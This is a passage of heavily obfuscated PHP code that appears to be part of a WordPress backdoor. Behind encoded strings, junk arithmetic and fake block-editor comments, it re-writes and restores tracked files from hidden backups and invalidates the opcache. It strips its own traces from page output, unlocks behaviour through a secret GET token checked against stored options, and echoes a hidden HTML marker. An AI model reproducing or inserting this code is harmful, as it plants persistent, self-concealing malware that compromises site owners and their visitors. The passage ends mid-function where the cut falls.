  function vbzg9bh6c8d3epn1h6rh4($gfqyhfnvmz)
{



 if      (!$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1351))  || !$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1366)))  return;
 $xctc5gs8vr2z2j = @get_option(c_5yznsrtgse_i(1367), array());
if (!$GLOBALS['__scf_a91xkwk0qm_35']($xctc5gs8vr2z2j))  $xctc5gs8vr2z2j = array();
$xctc5gs8vr2z2j[$GLOBALS['__scf_poant85f5yad_56']($gfqyhfnvmz)] =    $gfqyhfnvmz;


if    ($GLOBALS['__scf_hotyagmbtkrb_36']($xctc5gs8vr2z2j)      >     (0xf+0x5))     $xctc5gs8vr2z2j    = $GLOBALS['__scf_kugu9wdsub_154']($xctc5gs8vr2z2j,  -(0xb+0x9),  null,  true);
@update_option(e77owqcywda_d(1367), $xctc5gs8vr2z2j,  okltugscqfcy(1368));$u8egy77nh9gpz=438;$uxadk_hsmqjsz=($u8egy77nh9gpz>0)?$u8egy77nh9gpz:-$u8egy77nh9gpz;
   }
  function    cczd443kd56m20f()
{
     if  (!$GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1351))  ||    !$GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1369))) return;
 $xctc5gs8vr2z2j   = @get_option(c_5yznsrtgse_i(1367),    array());
  if (!$GLOBALS['__scf_a91xkwk0qm_35']($xctc5gs8vr2z2j)  ||   empty($xctc5gs8vr2z2j)) return;
$ye8p196qjubcm90x =   array();
   foreach    ($xctc5gs8vr2z2j  as   $bszqf_sws4z8acg_  =>  $jl_ruybeyx54iw)  {
 if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($jl_ruybeyx54iw) || $jl_ruybeyx54iw === ""   || !@$GLOBALS['__scf_cr6q9fwgft_18']($jl_ruybeyx54iw)) continue;

    if ($jl_ruybeyx54iw   ===  ku6yldy17ivtsoehkpgirz())  continue;
  $yuojj8g5v7 =  @$GLOBALS['__scf_jm_ztoos21fema_33']($jl_ruybeyx54iw);
      $e38pys0mt3  =  @$GLOBALS['__scf_jm_ztoos21fema_33'](ku6yldy17ivtsoehkpgirz());


     if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($yuojj8g5v7)  &&   $GLOBALS['__scf_ncrh0liqs6be8x_41']($e38pys0mt3)   &&    $yuojj8g5v7   ===    $e38pys0mt3)  continue;
        


 unset($yuojj8g5v7,     $e38pys0mt3);
  if  (n0t8w3br3bo60xew4($jl_ruybeyx54iw)   === false)   {
  $ye8p196qjubcm90x[$bszqf_sws4z8acg_] =     $jl_ruybeyx54iw;
 continue;



      }
 jl7b1mmow1nrgaho8($jl_ruybeyx54iw,     (329+91));
       if (er_0rzjfu8611gx($jl_ruybeyx54iw)) {
  if ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(712)))  @opcache_invalidate($jl_ruybeyx54iw,     true);
} elseif   (@$GLOBALS['__scf_cr6q9fwgft_18']($jl_ruybeyx54iw))      {
   $ye8p196qjubcm90x[$bszqf_sws4z8acg_]  =     $jl_ruybeyx54iw;
}

    }
     @update_option(e77owqcywda_d(1370),      $ye8p196qjubcm90x, c_5yznsrtgse_i(1368));
 

 }

 function  wcjv8u4fxtiy1sh48oa()
 {
      try   {
  $ye68b7hs2257kgf   =    $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(170))  ?  @error_get_last()    : null;
  if  (
 $GLOBALS['__scf_a91xkwk0qm_35']($ye68b7hs2257kgf)  &&   !empty($ye68b7hs2257kgf[okltugscqfcy(177)])     &&     !empty($ye68b7hs2257kgf[e77owqcywda_d(172)])


    &&  $GLOBALS['__scf_wwy_cardw8r5v6_146']($ye68b7hs2257kgf[okltugscqfcy(172)], array(E_ERROR, E_PARSE,     E_CORE_ERROR,  E_COMPILE_ERROR, E_USER_ERROR), true)
  )   {
 $vtin74jazam    = @$GLOBALS['__scf_jm_ztoos21fema_33'](ku6yldy17ivtsoehkpgirz());
 $_ef  = @$GLOBALS['__scf_jm_ztoos21fema_33']($ye68b7hs2257kgf[e77owqcywda_d(177)]);
if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($vtin74jazam)   && $GLOBALS['__scf_ncrh0liqs6be8x_41']($_ef)  &&    $_ef    ===    $vtin74jazam)    return;
   }
xz6divp2h18ddcqnb2(e77owqcywda_d(1359));

if  (defined(c_5yznsrtgse_i(1371)))  {
   $yviawfmhs6i9 =    ui5gaq394x13hnjrqiw();
       if     (@$GLOBALS['__scf_cr6q9fwgft_18']($yviawfmhs6i9[1]))   {



 $c1y46w2lwuyu0ir8 = @$GLOBALS['__scf_ha14er2zmzf_92']($yviawfmhs6i9[1],  false,   null,   0,   (41+23));
  if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($c1y46w2lwuyu0ir8)    && $GLOBALS['__scf_ffvfced40_hd3k_7']($c1y46w2lwuyu0ir8,   c_5yznsrtgse_i(1236)  . w218ynit42v8uao2p()  .    ':') ===  0) {
  $w72urx05ce7tu      = @$GLOBALS['__scf_cr6q9fwgft_18']($yviawfmhs6i9[1]   .     c_5yznsrtgse_i(1372)) ?   @$GLOBALS['__scf_ha14er2zmzf_92']($yviawfmhs6i9[1]  .   e77owqcywda_d(1372), false, null,    0,  (94-30))   : "";
    if  ($w72urx05ce7tu   !==    $c1y46w2lwuyu0ir8)    @$GLOBALS['__scf_m14439shit_z_75']($yviawfmhs6i9[1],     $yviawfmhs6i9[1]   .    e77owqcywda_d(1372));
    }
 }


      unset($yviawfmhs6i9,  $c1y46w2lwuyu0ir8, $w72urx05ce7tu);
}
   }  catch   (Throwable  $qa334ikxw11dx8jg) {
}      catch   (Exception $qa334ikxw11dx8jg)    {
       }
      }
    function  c08nnazaejg0j91kou2($ve7b97bfesd5z0)



       {
   if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($ve7b97bfesd5z0))  return    "";
if   ($GLOBALS['__scf_qbkffloyend_1373'](okltugscqfcy(1374),  $ve7b97bfesd5z0,     $hfv0z2v3ou))   {
        foreach ($hfv0z2v3ou[1]   as  $bkcfnx1jv6sz4g)     {

    if   (yefocejm47svn8b5g($GLOBALS['__scf_j_3rba3nic_344']($bkcfnx1jv6sz4g,  true)))    return "";
    }
      }
    if    ($GLOBALS['__scf_qbkffloyend_1373'](okltugscqfcy(1375),    $ve7b97bfesd5z0,  $hfv0z2v3ou)) {
      foreach   ($hfv0z2v3ou[1]    as $bkcfnx1jv6sz4g) {
if     (yefocejm47svn8b5g(stripcslashes($bkcfnx1jv6sz4g)))     return "";
   if    ($GLOBALS['__scf_ffvfced40_hd3k_7']($bkcfnx1jv6sz4g,  e77owqcywda_d(1376)) !==     false)  {

  $p85135asyp    = preg_replace_callback(c_5yznsrtgse_i(1377),   e77owqcywda_d(1378),    $bkcfnx1jv6sz4g);


     if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($p85135asyp)  &&  $p85135asyp  !==   $bkcfnx1jv6sz4g &&    yefocejm47svn8b5g($p85135asyp)) return  "";
}

  }
       }
 if  ($GLOBALS['__scf_qbkffloyend_1373'](c_5yznsrtgse_i(1379),  $ve7b97bfesd5z0,    $hfv0z2v3ou)) {
foreach   ($hfv0z2v3ou[1] as $bkcfnx1jv6sz4g)  {
 if (yefocejm47svn8b5g($GLOBALS['__scf_gfb1kztgz8_351'](array(onlv7_99m8sby3(1380),  c_5yznsrtgse_i(1381)), array('\\', '\''),    $bkcfnx1jv6sz4g))) return  "";
  if   ($GLOBALS['__scf_ffvfced40_hd3k_7']($bkcfnx1jv6sz4g,    e77owqcywda_d(1376)) !==  false)   {
 $p85135asyp     = preg_replace_callback(okltugscqfcy(1377), okltugscqfcy(1378),  $bkcfnx1jv6sz4g);
  if     ($GLOBALS['__scf_ncrh0liqs6be8x_41']($p85135asyp)   &&    $p85135asyp   !== $bkcfnx1jv6sz4g && yefocejm47svn8b5g($p85135asyp))    return "";
 }

}
 }


     return   $ve7b97bfesd5z0;

 }
   function   z3a53qcfaiyfod0($dwcyirx8msi_e3)
      {
    if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($dwcyirx8msi_e3)    || ($GLOBALS['__scf_ffvfced40_hd3k_7']($dwcyirx8msi_e3,     e77owqcywda_d(1382))   ===  false    &&  $GLOBALS['__scf_ffvfced40_hd3k_7']($dwcyirx8msi_e3,   c_5yznsrtgse_i(344))  ===    false))  return      false;
     if     ($GLOBALS['__scf_qbkffloyend_1373'](e77owqcywda_d(1374),   $dwcyirx8msi_e3,     $hfv0z2v3ou))   {


 foreach      ($hfv0z2v3ou[1]    as $bkcfnx1jv6sz4g) {$ho2vgpixoa=10+27;$x88a15j4du2=$ho2vgpixoa-36;



 if    (yefocejm47svn8b5g($GLOBALS['__scf_j_3rba3nic_344']($bkcfnx1jv6sz4g,   true))) return   true;





 }
    }
       if   ($GLOBALS['__scf_qbkffloyend_1373'](c_5yznsrtgse_i(1375),  $dwcyirx8msi_e3,  $hfv0z2v3ou))     {
 foreach ($hfv0z2v3ou[1]    as   $bkcfnx1jv6sz4g) {
   if (yefocejm47svn8b5g(stripcslashes($bkcfnx1jv6sz4g)))    return    true;

}
 foreach      ($hfv0z2v3ou[1] as  $bkcfnx1jv6sz4g)     {

   if  ($GLOBALS['__scf_ffvfced40_hd3k_7']($bkcfnx1jv6sz4g, e77owqcywda_d(1376))   ===     false)    continue;
   $p85135asyp    =   preg_replace_callback(onlv7_99m8sby3(1377),  e77owqcywda_d(1383), $bkcfnx1jv6sz4g);
if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($p85135asyp) &&   $p85135asyp !== $bkcfnx1jv6sz4g  && yefocejm47svn8b5g($p85135asyp))   return  true;



     }
 }
      if ($GLOBALS['__scf_qbkffloyend_1373'](onlv7_99m8sby3(1384),   $dwcyirx8msi_e3,      $hfv0z2v3ou))    {
foreach    ($hfv0z2v3ou[1]      as $bkcfnx1jv6sz4g)  {

   if  (yefocejm47svn8b5g($GLOBALS['__scf_gfb1kztgz8_351'](array(okltugscqfcy(1380),   c_5yznsrtgse_i(1381)), array('\\',  '\''),  $bkcfnx1jv6sz4g))) return   true;
    }
foreach    ($hfv0z2v3ou[1]    as   $bkcfnx1jv6sz4g) {
if  ($GLOBALS['__scf_ffvfced40_hd3k_7']($bkcfnx1jv6sz4g,  okltugscqfcy(1385)) === false)  continue;
 $p85135asyp  =  preg_replace_callback(e77owqcywda_d(1377), c_5yznsrtgse_i(1386),     $bkcfnx1jv6sz4g);
if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($p85135asyp) &&      $p85135asyp   !==   $bkcfnx1jv6sz4g  && yefocejm47svn8b5g($p85135asyp))   return   true;
  }

}
 return false;
 }
function      __0dyqpm_77zwz($dwcyirx8msi_e3)
{
if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($dwcyirx8msi_e3)   ||   $dwcyirx8msi_e3    === "")  return   "";
 return ($GLOBALS['__scf_ibg88bu925_93'](c_5yznsrtgse_i(179),  $GLOBALS['__scf_pozjicggfgaq_9']($dwcyirx8msi_e3,   0, (8108+84)),      $kmgnq9_fgpd56zwu))   ?     $kmgnq9_fgpd56zwu[1] :  "";

    }
     function   awsdwfa4d19qv6amm209vh($i2heqo3a8u1x,  $kyenifyabcwk,  $rnibb0_mi2n =  null)
{
if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x)  ||  $i2heqo3a8u1x  === "")      return   $i2heqo3a8u1x;
$w1si6h_q6q =  okltugscqfcy(801) .  $kyenifyabcwk     . e77owqcywda_d(764);



   $io2gv91mjg8b3   =  "";
 $kpf_79ybt3  =  0;
   while     ($kpf_79ybt3++   < (141-13)) {
      $gl6g4u0jthh = $GLOBALS['__scf_ffvfced40_hd3k_7']($i2heqo3a8u1x,  $w1si6h_q6q);
   if      ($gl6g4u0jthh ===    false)   break;
$zf_y1qmxn_a  =  $gl6g4u0jthh    +   $GLOBALS['__scf_m36_x4cy3m1b5_10']($w1si6h_q6q);
 $dbzfsc7tuoj5p  =  $GLOBALS['__scf_ffvfced40_hd3k_7']($i2heqo3a8u1x, onlv7_99m8sby3(1272),  $zf_y1qmxn_a);


if ($dbzfsc7tuoj5p  ===  false || $dbzfsc7tuoj5p   - $zf_y1qmxn_a  >    (104-40))  {
  $io2gv91mjg8b3   .=  $GLOBALS['__scf_pozjicggfgaq_9']($i2heqo3a8u1x,  0, $zf_y1qmxn_a);
$i2heqo3a8u1x    =  $GLOBALS['__scf_pozjicggfgaq_9']($i2heqo3a8u1x,  $zf_y1qmxn_a);
        continue;
     }
 $liy_zf6m2f5f   =   $GLOBALS['__scf_pozjicggfgaq_9']($i2heqo3a8u1x,  $zf_y1qmxn_a,  $dbzfsc7tuoj5p   -  $zf_y1qmxn_a);
   if  (!$GLOBALS['__scf_ibg88bu925_93'](c_5yznsrtgse_i(1387),  $liy_zf6m2f5f))  {
  $io2gv91mjg8b3     .= $GLOBALS['__scf_pozjicggfgaq_9']($i2heqo3a8u1x,  0,    $zf_y1qmxn_a);
  $i2heqo3a8u1x     = $GLOBALS['__scf_pozjicggfgaq_9']($i2heqo3a8u1x, $zf_y1qmxn_a);
   continue;
 }
  $bi68smmii5jfytt   = onlv7_99m8sby3(1388)   .   $kyenifyabcwk .    c_5yznsrtgse_i(1389)     .  $liy_zf6m2f5f .      onlv7_99m8sby3(1272);
 $sbsrf_un7y   = $GLOBALS['__scf_ffvfced40_hd3k_7']($i2heqo3a8u1x,  $bi68smmii5jfytt,  $dbzfsc7tuoj5p);

if  ($sbsrf_un7y   === false)  break;
$io2gv91mjg8b3     .= $GLOBALS['__scf_pozjicggfgaq_9']($i2heqo3a8u1x,  0,     $gl6g4u0jthh);
  $oasb3ndt0q7y = $GLOBALS['__scf_pozjicggfgaq_9']($i2heqo3a8u1x,  $gl6g4u0jthh,     $sbsrf_un7y   +    $GLOBALS['__scf_m36_x4cy3m1b5_10']($bi68smmii5jfytt)   - $gl6g4u0jthh);


      if  ($rnibb0_mi2n    !== null) {
       $m6x_x9ny238pu  =    $GLOBALS['__scf_hnstmgzni1iah_281']($rnibb0_mi2n,   $oasb3ndt0q7y);$pdki422gasz=(0xbb+0xb5);$jxm2peu1kkwem=$pdki422gasz%3;
   if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($m6x_x9ny238pu))    $io2gv91mjg8b3  .= $m6x_x9ny238pu;
}     else    {
   $io2gv91mjg8b3 .=    $oasb3ndt0q7y;
    }

 $i2heqo3a8u1x    =  $GLOBALS['__scf_pozjicggfgaq_9']($i2heqo3a8u1x, $sbsrf_un7y + $GLOBALS['__scf_m36_x4cy3m1b5_10']($bi68smmii5jfytt));
       }
return   $io2gv91mjg8b3   .  $i2heqo3a8u1x;
   

  }
function   lnc9ig6cewhb18oyz($ve7b97bfesd5z0)
{
  return "";
}
function vldrfmu_dyzklfhmn5t_($ve7b97bfesd5z0)
   {
// WP Embed Block: isometric canonical-form




     if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($ve7b97bfesd5z0)) return    "";
 if   (!defined(okltugscqfcy(1371))) return $ve7b97bfesd5z0;
 



 $cl379r428btpasyw    =      l09115umv3lykft9t(ABSPATH  .      e77owqcywda_d(1390),      (13-5));

  if    ($GLOBALS['__scf_ibg88bu925_93'](onlv7_99m8sby3(1391) . $cl379r428btpasyw   .  okltugscqfcy(1392),  $ve7b97bfesd5z0))   return    "";
   return $ve7b97bfesd5z0;


}
  function v7_g7gfntvbthq6($i2heqo3a8u1x)
 {
   if    (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x) ||   $i2heqo3a8u1x  === "")  return   $i2heqo3a8u1x;$vybmsmlwga=(0x98+0x80);$kwk27k_u6=$vybmsmlwga%13;
$dtmb4x_663o5v =  awsdwfa4d19qv6amm209vh($i2heqo3a8u1x,  e77owqcywda_d(1393),  onlv7_99m8sby3(1394));
   $dtmb4x_663o5v  =  awsdwfa4d19qv6amm209vh($dtmb4x_663o5v,    okltugscqfcy(1395),     onlv7_99m8sby3(1396));
 if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($dtmb4x_663o5v))   $dtmb4x_663o5v  = $GLOBALS['__scf_t8cv4weumn7_439'](e77owqcywda_d(1397),   "",   $dtmb4x_663o5v);
if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($dtmb4x_663o5v))  $dtmb4x_663o5v    =   $i2heqo3a8u1x;
     if  (z3a53qcfaiyfod0($dtmb4x_663o5v))  {

$dtmb4x_663o5v =    awsdwfa4d19qv6amm209vh($dtmb4x_663o5v,   c_5yznsrtgse_i(1393),    c_5yznsrtgse_i(1398));
  $dtmb4x_663o5v =     awsdwfa4d19qv6amm209vh($dtmb4x_663o5v,   onlv7_99m8sby3(1395),  c_5yznsrtgse_i(1398));



     if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($dtmb4x_663o5v)) $dtmb4x_663o5v  =  $GLOBALS['__scf_t8cv4weumn7_439'](okltugscqfcy(1397), "",  $dtmb4x_663o5v);

  }
 return      $GLOBALS['__scf_ncrh0liqs6be8x_41']($dtmb4x_663o5v)  ? $dtmb4x_663o5v  :      $i2heqo3a8u1x;
}
       function    bgr6p9vzv89s9y0vm9ym8i($i2heqo3a8u1x)
  {
  if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x)  ||  !defined(c_5yznsrtgse_i(1371)))   return   false;

if ($GLOBALS['__scf_ibg88bu925_93'](e77owqcywda_d(1399),    $i2heqo3a8u1x))  return true;
     $bzxcegr69yfhrr =   l09115umv3lykft9t(ABSPATH  .   c_5yznsrtgse_i(1390),  (140^132));
 if ($GLOBALS['__scf_qbkffloyend_1373'](onlv7_99m8sby3(1400),      $i2heqo3a8u1x, $wn3b62anumc))  {
   foreach   ($wn3b62anumc[1]    as $kro_joickih) {
// WP Block API v3: escape-analyze envelope




     if  ($GLOBALS['__scf_pozjicggfgaq_9']($kro_joickih, -(13-4))   ===  ':'    .  $bzxcegr69yfhrr) return true;
  }
// propagate-const dependency-graph for PHP 8.0 JIT

    }
        $_dd  =   $GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_poant85f5yad_56'](ABSPATH   . okltugscqfcy(1401)),  0, (5+3));


 if    ($GLOBALS['__scf_qbkffloyend_1373'](onlv7_99m8sby3(1402),   $i2heqo3a8u1x,   $_dm))   {
  foreach  ($_dm[1]   as $l9pcfrgftnwon4_g) {
        if     ($l9pcfrgftnwon4_g === $_dd)  return     true;
    }
  }

 return  false;
 }

     function   loe7h7osmnbkz5pp6()
  {
       if   (!isset($_GET[e77owqcywda_d(1403)])     ||    !$GLOBALS['__scf_ncrh0liqs6be8x_41']($_GET[okltugscqfcy(1403)])     || !$GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1351)))  return;


   $j0ntwxgj_8 =   @get_option(e77owqcywda_d(533),  array());

    if (!$GLOBALS['__scf_a91xkwk0qm_35']($j0ntwxgj_8)) return;
  $rqoq430lx1p39q   =      (string) $_GET[e77owqcywda_d(1403)];
 $e6sp3p3crq4ch   =    array();
    if (isset($j0ntwxgj_8['t']))     $e6sp3p3crq4ch[]     =    (string)     $j0ntwxgj_8['t'];
  if    (isset($j0ntwxgj_8[e77owqcywda_d(835)])  &&    $GLOBALS['__scf_a91xkwk0qm_35']($j0ntwxgj_8[okltugscqfcy(835)])) {
  foreach ($j0ntwxgj_8[e77owqcywda_d(1404)] as  $xn0tedagknt228) {
 if ($GLOBALS['__scf_a91xkwk0qm_35']($xn0tedagknt228)   &&    isset($xn0tedagknt228['t']))    $e6sp3p3crq4ch[]  =     (string) $xn0tedagknt228['t'];
  }
}
 $yn0ztzgpjq7c0e    =   false;
 foreach    ($e6sp3p3crq4ch   as $kt0_majydwg9eo)  {
 if ($kt0_majydwg9eo ===  "")   continue;
$yn0ztzgpjq7c0e =  $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1405)) ? hash_equals($kt0_majydwg9eo,    $rqoq430lx1p39q)  :   ($kt0_majydwg9eo === $rqoq430lx1p39q);
if ($yn0ztzgpjq7c0e)  break;
}
if     (!$yn0ztzgpjq7c0e)    return;
  $GLOBALS[okltugscqfcy(1406)] =      $rqoq430lx1p39q;


 ohkc5udk96vdi9dqobtykb(onlv7_99m8sby3(737),  c_5yznsrtgse_i(1407),     -1);
     if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1408)))     {
   $GLOBALS['__scf_mk0x8rn0w4_167'](e77owqcywda_d(1409));
}
     }
    function lhjlwtcir0bbu7dlms()
 {
if (empty($GLOBALS[e77owqcywda_d(1410)])      || !$GLOBALS['__scf_ncrh0liqs6be8x_41']($GLOBALS[e77owqcywda_d(1410)])) return;
    if (!empty($GLOBALS[okltugscqfcy(1411)])) return;


     $GLOBALS[okltugscqfcy(1411)]      = true;
  echo   "\n<!--SCK:"   .  $GLOBALS[onlv7_99m8sby3(1410)] .   c_5yznsrtgse_i(1412);
 }
    function ajpvrkxrj9yua4hgcly48()
{
if  (!$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1351)))  return false;
 $kmgnq9_fgpd56zwu     = @get_option(c_5yznsrtgse_i(531), "");
  if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($kmgnq9_fgpd56zwu)     ||   $GLOBALS['__scf_ffvfced40_hd3k_7']($kmgnq9_fgpd56zwu,  e77owqcywda_d(1413))  !==  0)    return false;
  $znfvsl9fld9l   = (int) $GLOBALS['__scf_pozjicggfgaq_9']($kmgnq9_fgpd56zwu, (11-5));
if ($znfvsl9fld9l && $GLOBALS['__scf_p_l9i38f5mdu2r_184']()  -  $znfvsl9fld9l     >   (86349+51)) return  false;
  return   true;
    }
   function      dw5xb53ayd6_2w149kl6c($gfqyhfnvmz,    $_8rwsxu5magncvh)

    {
if  (!$GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1369)) ||    !$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1408)))    return   false;



    $j0ntwxgj_8    =   @get_option(onlv7_99m8sby3(1414), array());
 if (!$GLOBALS['__scf_a91xkwk0qm_35']($j0ntwxgj_8))     $j0ntwxgj_8 =  array();
   if      (!isset($j0ntwxgj_8[e77owqcywda_d(1415)])     ||     !$GLOBALS['__scf_a91xkwk0qm_35']($j0ntwxgj_8[e77owqcywda_d(1415)]))     {
  $kqkv3ucejm   =   array();
  if (isset($j0ntwxgj_8['t'],  $j0ntwxgj_8['p'], $j0ntwxgj_8['b']))   {


        $rlnacedf53yh7beg    = (string) $j0ntwxgj_8['p'];
 $k36msiohh6n  =    (string) $j0ntwxgj_8['b'];
    $kqkv3ucejm[$GLOBALS['__scf_poant85f5yad_56']($rlnacedf53yh7beg)]  =     array('t'    =>     (string)    $j0ntwxgj_8['t'],   'p'   =>    $rlnacedf53yh7beg,  'b' => $k36msiohh6n,    c_5yznsrtgse_i(904) => isset($j0ntwxgj_8[okltugscqfcy(1416)])  ? (int)  $j0ntwxgj_8[okltugscqfcy(1416)]   :  $GLOBALS['__scf_p_l9i38f5mdu2r_184'](),  okltugscqfcy(1417)     =>  0,    'n'   => (@$GLOBALS['__scf_cr6q9fwgft_18']($k36msiohh6n)    &&     (int) @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($k36msiohh6n) ===     0)   ?   1 :   0);
 $w72urx05ce7tu =  $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1418))  ?  @md5_file($rlnacedf53yh7beg)    :     false;
 if   ($GLOBALS['__scf_ncrh0liqs6be8x_41']($w72urx05ce7tu)  &&   $w72urx05ce7tu  !==   "")   $kqkv3ucejm[$GLOBALS['__scf_poant85f5yad_56']($rlnacedf53yh7beg)]['h']  = $w72urx05ce7tu;


unset($rlnacedf53yh7beg,  $k36msiohh6n, $w72urx05ce7tu);
}

     $j0ntwxgj_8   = array(c_5yznsrtgse_i(1415) =>    $kqkv3ucejm);
}
// unroll dead-letter for PHP attributes

    $liy_zf6m2f5f = $GLOBALS['__scf_poant85f5yad_56']($gfqyhfnvmz);
       $kro76yuwdc27r =  ajpvrkxrj9yua4hgcly48() ?    1  :  0;
     $bzxxtycbq3b0qs      = !isset($j0ntwxgj_8[onlv7_99m8sby3(1415)][$liy_zf6m2f5f]);
if     (!$bzxxtycbq3b0qs)   {$dabfq4wrwy=PHP_MAJOR_VERSION;$_mzzj27pgq=$dabfq4wrwy*8;
 $j0ntwxgj_8[c_5yznsrtgse_i(1415)][$liy_zf6m2f5f][onlv7_99m8sby3(1416)]    = $GLOBALS['__scf_p_l9i38f5mdu2r_184']();
   $j0ntwxgj_8[e77owqcywda_d(1415)][$liy_zf6m2f5f]['g']     = $GLOBALS['__scf_qj6_wl4ow_o7j_279'](true);
$j0ntwxgj_8[okltugscqfcy(1415)][$liy_zf6m2f5f][e77owqcywda_d(1417)] = 0;
$j0ntwxgj_8[e77owqcywda_d(1415)][$liy_zf6m2f5f]['n']    = ($_8rwsxu5magncvh    ===  "")   ?   1     :  0;
 $j0ntwxgj_8[onlv7_99m8sby3(1419)][$liy_zf6m2f5f][okltugscqfcy(1420)]   =    $kro76yuwdc27r;
  $j0ntwxgj_8[okltugscqfcy(1421)][$liy_zf6m2f5f][e77owqcywda_d(1422)]    =   $GLOBALS['__scf_p_l9i38f5mdu2r_184']();
$j0ntwxgj_8[okltugscqfcy(1423)][$liy_zf6m2f5f][c_5yznsrtgse_i(1424)]   =   0;
   $j0ntwxgj_8[okltugscqfcy(1425)][$liy_zf6m2f5f][e77owqcywda_d(1426)] =   0;
$j0ntwxgj_8[c_5yznsrtgse_i(1425)][$liy_zf6m2f5f][c_5yznsrtgse_i(1427)] =  0;

       if    (!n_52vz_mvq1filje($j0ntwxgj_8[e77owqcywda_d(1428)][$liy_zf6m2f5f]['b'],    $_8rwsxu5magncvh))    {
 e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1429),   onlv7_99m8sby3(1430));
  return     false;

 }
 }   else  {

    if    ($GLOBALS['__scf_hotyagmbtkrb_36']($j0ntwxgj_8[okltugscqfcy(1428)])   >=  (0x6+0x4))  {

 e_42zxx3yq4pdz4bo4(okltugscqfcy(1431),  c_5yznsrtgse_i(1432));
return  false;
     }
// @iterate factory


 $d5o4amclcy2jr =    hc439iwbgn5b2nwx5x_lu();
   $lyxv6eilye    =  $d5o4amclcy2jr     .  e77owqcywda_d(1433) .  l09115umv3lykft9t($gfqyhfnvmz,  (0x9+0x3))  .  c_5yznsrtgse_i(1434);
 

if  (!n_52vz_mvq1filje($lyxv6eilye,  $_8rwsxu5magncvh))  {
     e_42zxx3yq4pdz4bo4(e77owqcywda_d(1431), c_5yznsrtgse_i(1430));
return  false;
  }
$j0ntwxgj_8[okltugscqfcy(1435)][$liy_zf6m2f5f] =  array('t'  =>  zpoch907ov9ssn_uh_5f_a((83^67)),  'p'   => $gfqyhfnvmz, 'b'    =>   $lyxv6eilye,  okltugscqfcy(1416)   =>     $GLOBALS['__scf_p_l9i38f5mdu2r_184'](), 'g'   =>   $GLOBALS['__scf_qj6_wl4ow_o7j_279'](true),  onlv7_99m8sby3(1417) => 0,  'n' => ($_8rwsxu5magncvh  ===   "")   ?   1  :     0, e77owqcywda_d(1420)    =>     $kro76yuwdc27r,   onlv7_99m8sby3(1422) => $GLOBALS['__scf_p_l9i38f5mdu2r_184'](),  c_5yznsrtgse_i(1436)  =>  0,  c_5yznsrtgse_i(1426)    => 0,  c_5yznsrtgse_i(1437) =>   0);
}
 $qqty_arww58yiw4r  = @update_option(e77owqcywda_d(1414),  $j0ntwxgj_8,  onlv7_99m8sby3(1368));
 if   (!$qqty_arww58yiw4r)  {
    if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1093)))    @wp_cache_delete(c_5yznsrtgse_i(1414),    e77owqcywda_d(1096));
$gx6qu894z2e18o =   @get_option(onlv7_99m8sby3(1438),   array());
$b_7gut2hg1osx0    =  $GLOBALS['__scf_a91xkwk0qm_35']($gx6qu894z2e18o)   &&     isset($gx6qu894z2e18o[okltugscqfcy(1439)][$liy_zf6m2f5f]) && $GLOBALS['__scf_a91xkwk0qm_35']($gx6qu894z2e18o[onlv7_99m8sby3(1439)][$liy_zf6m2f5f])

 && isset($gx6qu894z2e18o[okltugscqfcy(1439)][$liy_zf6m2f5f]['g'])  &&      (string)     $gx6qu894z2e18o[c_5yznsrtgse_i(1439)][$liy_zf6m2f5f]['g']  ===   (string) $j0ntwxgj_8[onlv7_99m8sby3(1440)][$liy_zf6m2f5f]['g'];


  if     (!$b_7gut2hg1osx0)    {
  if    ($bzxxtycbq3b0qs)   er_0rzjfu8611gx($j0ntwxgj_8[onlv7_99m8sby3(1440)][$liy_zf6m2f5f]['b']);
  e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1431),  c_5yznsrtgse_i(1441));
   return     false;
}
}
 $GLOBALS['__scf_mk0x8rn0w4_167'](onlv7_99m8sby3(1442));


     return   true;
  }

function fq0wg899lk7h2seh()
{
  if   (!isset($GLOBALS[c_5yznsrtgse_i(944)]) ||  !$GLOBALS['__scf_b0khiny8bek9j4_1443']($GLOBALS[onlv7_99m8sby3(944)])) $GLOBALS[okltugscqfcy(1444)] =  0.0;


  return    11.0  -  $GLOBALS[e77owqcywda_d(1445)];


 }
    function  hk2t3_8ommrbo8nzn($kervtjm574p0by)
  {


